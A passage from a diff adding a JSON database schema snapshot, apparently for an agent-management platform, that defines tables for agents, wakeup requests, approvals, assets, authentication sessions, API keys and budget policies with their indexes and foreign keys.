"created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "agent_wakeup_requests_company_agent_status_idx": { + "name": "agent_wakeup_requests_company_agent_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "agent_wakeup_requests_company_requested_idx": { + "name": "agent_wakeup_requests_company_requested_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "requested_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "agent_wakeup_requests_agent_requested_idx": { + "name": "agent_wakeup_requests_agent_requested_idx", + "columns": [ + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "requested_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "agent_wakeup_requests_review_path_recovery_idempotency_uq": { + "name": "agent_wakeup_requests_review_path_recovery_idempotency_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "idempotency_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"agent_wakeup_requests\".\"idempotency_key\" LIKE 'issue_review_path_lost:%' AND \"agent_wakeup_requests\".\"status\" <> 'skipped'", + "concurrently": false + }, + "agent_wakeup_requests_disposition_repair_idempotency_uq": { + "name": "agent_wakeup_requests_disposition_repair_idempotency_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "idempotency_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"agent_wakeup_requests\".\"idempotency_key\" LIKE 'issue_disposition_repair:%' AND \"agent_wakeup_requests\".\"status\" <> 'skipped'", + "concurrently": false + }, + "agent_wakeup_requests_question_response_delivery_idempotency_uq": { + "name": "agent_wakeup_requests_question_response_delivery_idempotency_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "idempotency_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"agent_wakeup_requests\".\"idempotency_key\" LIKE 'question-response:%' AND \"agent_wakeup_requests\".\"status\" NOT IN ('skipped', 'failed', 'cancelled')", + "concurrently": false + }, + "agent_wakeup_requests_company_payload_issue_idx": { + "name": "agent_wakeup_requests_company_payload_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "(\"payload\" ->> 'issueId')", + "isExpression": true, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "agent_wakeup_requests_company_id_companies_id_fk": { + "name": "agent_wakeup_requests_company_id_companies_id_fk", + "tableFrom": "agent_wakeup_requests", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "agent_wakeup_requests_agent_id_agents_id_fk": { + "name": "agent_wakeup_requests_agent_id_agents_id_fk", + "tableFrom": "agent_wakeup_requests", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agents": { + "name": "agents", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'general'" + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "icon": { + "name": "icon", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'idle'" + }, + "reports_to": { + "name": "reports_to", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "capabilities": { + "name": "capabilities", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "adapter_type": { + "name": "adapter_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'process'" + }, + "adapter_config": { + "name": "adapter_config", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "runtime_config": { + "name": "runtime_config", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "default_environment_id": { + "name": "default_environment_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "budget_monthly_cents": { + "name": "budget_monthly_cents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "spent_monthly_cents": { + "name": "spent_monthly_cents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "pause_reason": { + "name": "pause_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "paused_at": { + "name": "paused_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "error_reason": { + "name": "error_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "permissions": { + "name": "permissions", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "last_heartbeat_at": { + "name": "last_heartbeat_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "agents_company_status_idx": { + "name": "agents_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "agents_company_reports_to_idx": { + "name": "agents_company_reports_to_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "reports_to", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "agents_company_default_environment_idx": { + "name": "agents_company_default_environment_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "default_environment_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "agents_company_id_companies_id_fk": { + "name": "agents_company_id_companies_id_fk", + "tableFrom": "agents", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "agents_reports_to_agents_id_fk": { + "name": "agents_reports_to_agents_id_fk", + "tableFrom": "agents", + "columnsFrom": [ + "reports_to" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "agents_default_environment_id_environments_id_fk": { + "name": "agents_default_environment_id_environments_id_fk", + "tableFrom": "agents", + "columnsFrom": [ + "default_environment_id" + ], + "tableTo": "environments", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.approval_comments": { + "name": "approval_comments", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "approval_id": { + "name": "approval_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "author_agent_id": { + "name": "author_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "author_user_id": { + "name": "author_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "body": { + "name": "body", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "approval_comments_company_idx": { + "name": "approval_comments_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "approval_comments_approval_idx": { + "name": "approval_comments_approval_idx", + "columns": [ + { + "expression": "approval_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "approval_comments_approval_created_idx": { + "name": "approval_comments_approval_created_idx", + "columns": [ + { + "expression": "approval_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "approval_comments_company_id_companies_id_fk": { + "name": "approval_comments_company_id_companies_id_fk", + "tableFrom": "approval_comments", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "approval_comments_approval_id_approvals_id_fk": { + "name": "approval_comments_approval_id_approvals_id_fk", + "tableFrom": "approval_comments", + "columnsFrom": [ + "approval_id" + ], + "tableTo": "approvals", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "approval_comments_author_agent_id_agents_id_fk": { + "name": "approval_comments_author_agent_id_agents_id_fk", + "tableFrom": "approval_comments", + "columnsFrom": [ + "author_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.approvals": { + "name": "approvals", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "requested_by_agent_id": { + "name": "requested_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "requested_by_user_id": { + "name": "requested_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "decision_note": { + "name": "decision_note", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "decided_by_user_id": { + "name": "decided_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "decided_at": { + "name": "decided_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "approvals_company_status_type_idx": { + "name": "approvals_company_status_type_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "approvals_company_id_companies_id_fk": { + "name": "approvals_company_id_companies_id_fk", + "tableFrom": "approvals", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "approvals_requested_by_agent_id_agents_id_fk": { + "name": "approvals_requested_by_agent_id_agents_id_fk", + "tableFrom": "approvals", + "columnsFrom": [ + "requested_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.assets": { + "name": "assets", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "object_key": { + "name": "object_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "content_type": { + "name": "content_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "byte_size": { + "name": "byte_size", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "sha256": { + "name": "sha256", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "original_filename": { + "name": "original_filename", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "assets_company_created_idx": { + "name": "assets_company_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "assets_company_provider_idx": { + "name": "assets_company_provider_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "assets_company_object_key_uq": { + "name": "assets_company_object_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "object_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "assets_company_id_companies_id_fk": { + "name": "assets_company_id_companies_id_fk", + "tableFrom": "assets", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "assets_created_by_agent_id_agents_id_fk": { + "name": "assets_created_by_agent_id_agents_id_fk", + "tableFrom": "assets", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.account": { + "name": "account", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "issuer": { + "name": "issuer", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "account_id": { + "name": "account_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "provider_id": { + "name": "provider_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "access_token": { + "name": "access_token", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "refresh_token": { + "name": "refresh_token", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "id_token": { + "name": "id_token", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "access_token_expires_at": { + "name": "access_token_expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "refresh_token_expires_at": { + "name": "refresh_token_expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "scope": { + "name": "scope", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "password": { + "name": "password", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "account_issuer_account_id_uq": { + "name": "account_issuer_account_id_uq", + "columns": [ + { + "expression": "issuer", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "account_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "account_user_id_user_id_fk": { + "name": "account_user_id_user_id_fk", + "tableFrom": "account", + "columnsFrom": [ + "user_id" + ], + "tableTo": "user", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.session": { + "name": "session", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "token": { + "name": "token", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "ip_address": { + "name": "ip_address", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_agent": { + "name": "user_agent", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + } + }, + "indexes": {}, + "foreignKeys": { + "session_user_id_user_id_fk": { + "name": "session_user_id_user_id_fk", + "tableFrom": "session", + "columnsFrom": [ + "user_id" + ], + "tableTo": "user", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user": { + "name": "user", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email_verified": { + "name": "email_verified", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "image": { + "name": "image", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.verification": { + "name": "verification", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "identifier": { + "name": "identifier", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "value": { + "name": "value", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.board_api_keys": { + "name": "board_api_keys", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "key_hash": { + "name": "key_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "last_used_at": { + "name": "last_used_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "revoked_at": { + "name": "revoked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "board_api_keys_key_hash_idx": { + "name": "board_api_keys_key_hash_idx", + "columns": [ + { + "expression": "key_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "board_api_keys_user_idx": { + "name": "board_api_keys_user_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "board_api_keys_user_id_user_id_fk": { + "name": "board_api_keys_user_id_user_id_fk", + "tableFrom": "board_api_keys", + "columnsFrom": [ + "user_id" + ], + "tableTo": "user", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.budget_incidents": { + "name": "budget_incidents", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "policy_id": { + "name": "policy_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "scope_type": { + "name": "scope_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scope_id": { + "name": "scope_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "metric": { + "name": "metric", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "window_kind": { + "name": "window_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "window_start": { + "name": "window_start", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "window_end": { + "name": "window_end", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "threshold_type": { + "name": "threshold_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "amount_limit": { + "name": "amount_limit", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "amount_observed": { + "name": "amount_observed", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'open'" + }, + "approval_id": { + "name": "approval_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "resolved_at": { + "name": "resolved_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "budget_incidents_company_status_idx": { + "name": "budget_incidents_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "budget_incidents_company_scope_idx": { + "name": "budget_incidents_company_scope_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "scope_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "scope_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "budget_incidents_policy_window_threshold_idx": { + "name": "budget_incidents_policy_window_threshold_idx", + "columns": [ + { + "expression": "policy_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "window_start", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "threshold_type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"budget_incidents\".\"status\" <> 'dismissed'", + "concurrently": false + } + }, + "foreignKeys": { + "budget_incidents_company_id_companies_id_fk": { + "name": "budget_incidents_company_id_companies_id_fk", + "tableFrom": "budget_incidents", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "budget_incidents_policy_id_budget_policies_id_fk": { + "name": "budget_incidents_policy_id_budget_policies_id_fk", + "tableFrom": "budget_incidents", + "columnsFrom": [ + "policy_id" + ], + "tableTo": "budget_policies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "budget_incidents_approval_id_approvals_id_fk": { + "name": "budget_incidents_approval_id_approvals_id_fk", + "tableFrom": "budget_incidents", + "columnsFrom": [ + "approval_id" + ], + "tableTo": "approvals", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.budget_policies": { + "name": "budget_policies", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "scope_type": { + "name": "scope_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scope_id": { + "name": "scope_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "metric": { + "name": "metric", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'billed_cents'" + }, + "window_kind": { + "name": "window_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "amount": { + "name": "amount", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "warn_percent": { + "name": "warn_percent", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 80 + }, + "hard_stop_enabled": { + "name": "hard_stop_enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "notify_enabled": { + "name": "notify_enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "is_active": { + "name": "is_active", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "updated_by_user_id": { + "name": "updated_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "budget_policies_company_scope_active_idx": { + "name": "budget_policies_company_scope_active_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "scope_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "scope_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "is_active", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "budget_policies_company_window_idx": { + "name": "budget_policies_company_window_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "window_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "metric", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "budget_policies_company_scope_metric_unique_idx": { + "name": "budget_policies_company_scope_metric_unique_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "scope_type", + "isExpression": false, + "asc": 